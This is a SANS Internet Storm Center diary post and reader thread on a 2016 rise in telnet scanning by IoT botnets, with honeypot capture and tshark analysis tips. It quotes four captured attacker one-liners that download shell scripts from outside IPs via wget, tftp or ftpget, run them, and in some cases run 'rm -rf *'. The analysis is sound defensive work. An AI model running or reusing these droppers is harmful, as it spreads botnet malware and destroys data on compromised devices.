SANS Internet Storm Center

Increase in Port 23 (telnet) scanning
Update: I extracted a sample pcap. The target IP (honeypot) is replaced with 192.0.2.1. The odd thing about these connections is that they are not only all "blind", but they don't really send a password. Also, according to my version of Wireshark, the telnet traffic is initially malformed. Maybe a telnet exploit? click here for the pcap file Some readers noted that over the weekend, port 23 scans were up significantly. I just took a quick look at our honeypot, and don't really see anything significantly different, other then the well known fact that if you run a telnet server with default password, you are probably already compromised. Typically, a sharp increase in the number of source IPs indicates some type of worm that uses vulnerable systems to scan for more victims after it infects them. The main target of telnet scans are usually embedded devices. The exploit follows a pretty simple pattern: brute force password (usually a well known default password) Download additional malware via ftp/http or tftp (typically multiple binaries for various architectures) run the malware, which will typically setup a client for a DDoS botnet. The malware is very ephemeral, with the distribution point often being shut down by the time it scans our honeypot. Here are a couple of results from our honeypot, and a few tricks about how to deal with lots of data in pcap files. The first question is: Is this traffic spoofed? As a visual check, we compare the before and after distribution by /8 network. The image shows some deviations, but overall the graphs follow each other and there are no huge discrepancies in RFC1918 networks or other obviously spoofed networks. For the honeypot, I setup traffic captures collection 100MB pcap files with tcpdump (tcpdump -w /tmp/telnet -C100 port 23). On this very busy honeypot (it covers several thousand IPs), it took about 15 minutes to get to 100MB. Next, lets take a look at telnet payloads with tshark: tshark -r telnet -n -Y 'telnet.data && tcp.len>1' -T fields -e telnet.data \| sort \| uniq -c \| sort -n Here are some of the top commands: ------ cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd /; wget http://93. 186.254.152/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 93. 186.254.152 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 93. 186.254.152; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh ------ cd /tmp \|\| cd /var/run \|\| cd /dev/shm \|\| cd /mnt \|\| cd /var;rm -f ;busybox wget http://149 .56.110.173/bin.sh;sh bin.sh;busybox tftp -r bin2.sh -g 149 .56.110.173;sh bin2.sh;busybox tftp 149 .56.110.173 -c get bin3.sh;sh bin3.sh;busybox ftpget 149 .56.110.173 bin4.sh;sh bin4.sh;exit ------ cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd /; wget http://192 .227.221.223/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 192 .227.221.223 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 192 .227.221.223; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 192 .227.221.223 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf ; ------ cd /tmp \|\| cd /var/run \|\| cd /dev/shm \|\| cd /mnt \|\| cd /var;rm -f *;busybox wget http://208 .67.1.114/rv.sh;sh rv.sh;busybox tftp -r rv1.sh -g 208 .67.1.114;sh rv1.sh;busybox tftp 208 .67.1.114 -c get rv2.sh;sh rv2.sh;busybox ftpget 208 .67.1.114 rv3.sh rv3.sh;sh rv3.sh;exit ------ As you can see, they all follow the standard "pattern". p0f can give us a quick break down of operating systems for the collected traffic. Pretty much all of the hits come from Linux. Out of the about 1 million p0f records, we got less then 200 that indicate an operating system other then Linux. So in conclusion: Not sure what causes the significant increase, but I doubt that it is anything fundamentally different from what we have seen before. Keep your telnet servers contained (or turned off) and don't use default passwords. --- Johannes B. Ullrich, Ph.D. STI\|Twitter\|LinkedIn I will be teaching next: Intrusion Detection In-Depth - SANS Doha March 2022	Johannes 4351 Posts ISC Handler May 31st 2016
Thread locked Subscribe	May 31st 2016 5 years ago
I'm seeing the same thing over at http://longtail.it.marist.edu/telnet/, a HUGE uptick starting on May 28th. Today's numbers (Link as of May 31st, numbers subject to change) (http://longtail.it.marist.edu/telnet/current-ip-addresses.shtml) show an amazing number of identical login attempts numbers clustered around 140 login attempts per IP address attacking. My guess is that's school is out and the kids are starting their summer projects. >>Ericw	EricWedaa 4 Posts
Quote	May 31st 2016 5 years ago
Thanks for the write up Johannes. By way of some interesting extra data: 45% of dropped connections (since my last log rotation) are to port 23. Highest ratio for any port I have ever seen…against my IP space. Number of unique sources to me in current log file is 117495 and rising when posting this article. I did some google-fu… and came up with two interesting current URL’s that may be related… The first is not in english, but google translate helps get one interesting point from their honeypot... https://swehack.org/viewtopic.php?t=1746 > 95% of all attacks are gafgyt or a close relative. And something earlier this year…. http://www.spamfighter.com/News-20200-Remaiten-is-a-New-DDoS-Bot-Targeting-Routers-based-on-Linux.htm Anyway... Interesting to watch from the sidelines from now...	gregk 2 Posts
Quote	May 31st 2016 5 years ago
Further topics: http://www.nothink.org/honeypot_telnet_urls.txt Unfortunately I do not have the logs of the last two days due to hardware failure :(	mc 2 Posts
Quote	Jun 1st 2016 5 years ago
Hi Eric - I'm relatively new to info sec so pardon the question (I'm going to ask Greg below a similar new-guy question)... but what are you using to get the data collected for your longtail page? I've been looking for a good method to pull that kind of data but nothing's jumping out at me yet. Thanks, I appreciate any suggestions! -Jason	DotrainExpress 3 Posts
Quote	Jun 1st 2016 5 years ago
Hi Greg - I'm a newer player to the info sec world so pardon my semi-off topic question: what tool or method are you using to narrow it down to see that 45% of dropped connections are telnet? My FW logging is handy for troubleshooting but I'm sure there has to be a better method (via SIEM or something) to be able to narrow it down that nicely. Any suggestions are appreciated! Thank you! Jason	DotrainExpress 3 Posts
Quote	Jun 1st 2016 5 years ago
Hi Jason. My data was not compiled using anything fancy. Raw log file, with some linux commands to count based on a regex... Greg	gregk 2 Posts
Quote	Jun 2nd 2016 5 years ago
I've been getting telnet bombed for the past couple years, but this past week I'll agree that there has been an uptick. I don't see the typical and simultaneous ping/traceroute attempts from my previous experiences either.	Anonymous
Quote	Jun 3rd 2016 5 years ago

Update: I extracted a sample pcap. The target IP (honeypot) is replaced with 192.0.2.1. The odd thing about these connections is that they are not only all "blind", but they don't really send a password. Also, according to my version of Wireshark, the telnet traffic is initially malformed. Maybe a telnet exploit? click here for the pcap file

Some readers noted that over the weekend, port 23 scans were up significantly. I just took a quick look at our honeypot, and don't really see anything significantly different, other then the well known fact that if you run a telnet server with default password, you are probably already compromised.

Typically, a sharp increase in the number of source IPs indicates some type of worm that uses vulnerable systems to scan for more victims after it infects them.

The main target of telnet scans are usually embedded devices. The exploit follows a pretty simple pattern:

brute force password (usually a well known default password)
Download additional malware via ftp/http or tftp (typically multiple binaries for various architectures)
run the malware, which will typically setup a client for a DDoS botnet.

The malware is very ephemeral, with the distribution point often being shut down by the time it scans our honeypot. Here are a couple of results from our honeypot, and a few tricks about how to deal with lots of data in pcap files.

The first question is: Is this traffic spoofed? As a visual check, we compare the before and after distribution by /8 network. The image shows some deviations, but overall the graphs follow each other and there are no huge discrepancies in RFC1918 networks or other obviously spoofed networks.

For the honeypot, I setup traffic captures collection 100MB pcap files with tcpdump (tcpdump -w /tmp/telnet -C100 port 23). On this very busy honeypot (it covers several thousand IPs), it took about 15 minutes to get to 100MB.

Next, lets take a look at telnet payloads with tshark:

tshark -r telnet -n -Y 'telnet.data && tcp.len>1' -T fields -e telnet.data | sort | uniq -c | sort -n

Here are some of the top commands:

------
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93. 186.254.152/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 93. 186.254.152 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 93. 186.254.152; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh

------

cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://149 .56.110.173/bin.sh;sh bin.sh;busybox tftp -r bin2.sh -g 149 .56.110.173;sh bin2.sh;busybox tftp 149 .56.110.173 -c get bin3.sh;sh bin3.sh;busybox ftpget 149 .56.110.173 bin4.sh;sh bin4.sh;exit

------

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192 .227.221.223/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 192 .227.221.223 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 192 .227.221.223; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 192 .227.221.223 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;

------

cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://208 .67.1.114/rv.sh;sh rv.sh;busybox tftp -r rv1.sh -g 208 .67.1.114;sh rv1.sh;busybox tftp 208 .67.1.114 -c get rv2.sh;sh rv2.sh;busybox ftpget 208 .67.1.114 rv3.sh rv3.sh;sh rv3.sh;exit

------

As you can see, they all follow the standard "pattern".

p0f can give us a quick break down of operating systems for the collected traffic. Pretty much all of the hits come from Linux. Out of the about 1 million p0f records, we got less then 200 that indicate an operating system other then Linux.

So in conclusion: Not sure what causes the significant increase, but I doubt that it is anything fundamentally different from what we have seen before. Keep your telnet servers contained (or turned off) and don't use default passwords.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

I will be teaching next: Intrusion Detection In-Depth - SANS Doha March 2022

Johannes

4351 Posts
ISC Handler

May 31st 2016

I'm seeing the same thing over at http://longtail.it.marist.edu/telnet/, a HUGE uptick starting on May 28th. Today's numbers (Link as of May 31st, numbers subject to change) (http://longtail.it.marist.edu/telnet/current-ip-addresses.shtml) show an amazing number of identical login attempts numbers clustered around 140 login attempts per IP address attacking.

My guess is that's school is out and the kids are starting their summer projects.

>>Ericw

EricWedaa

4 Posts

Thanks for the write up Johannes. By way of some interesting extra data:

45% of dropped connections (since my last log rotation) are to port 23. Highest ratio for any port I have ever seen…against my IP space. Number of unique sources to me in current log file is 117495 and rising when posting this article.

I did some google-fu… and came up with two interesting current URL’s that may be related… The first is not in english, but google translate helps get one interesting point from their honeypot...

https://swehack.org/viewtopic.php?t=1746 > 95% of all attacks are gafgyt or a close relative.

And something earlier this year….

http://www.spamfighter.com/News-20200-Remaiten-is-a-New-DDoS-Bot-Targeting-Routers-based-on-Linux.htm

Anyway... Interesting to watch from the sidelines from now...

gregk

2 Posts

Further topics: http://www.nothink.org/honeypot_telnet_urls.txt
Unfortunately I do not have the logs of the last two days due to hardware failure :(

mc

2 Posts

Hi Eric -
I'm relatively new to info sec so pardon the question (I'm going to ask Greg below a similar new-guy question)... but what are you using to get the data collected for your longtail page? I've been looking for a good method to pull that kind of data but nothing's jumping out at me yet.

Thanks, I appreciate any suggestions!

-Jason

DotrainExpress

3 Posts

Hi Greg -
I'm a newer player to the info sec world so pardon my semi-off topic question: what tool or method are you using to narrow it down to see that 45% of dropped connections are telnet? My FW logging is handy for troubleshooting but I'm sure there has to be a better method (via SIEM or something) to be able to narrow it down that nicely.

Any suggestions are appreciated! Thank you!
Jason

DotrainExpress

3 Posts

Hi Jason.

My data was not compiled using anything fancy. Raw log file, with some linux commands to count based on a regex...

Greg

gregk

2 Posts

I've been getting telnet bombed for the past couple years, but this past week I'll agree that there has been an uptick. I don't see the typical and simultaneous ping/traceroute attempts from my previous experiences either.

Anonymous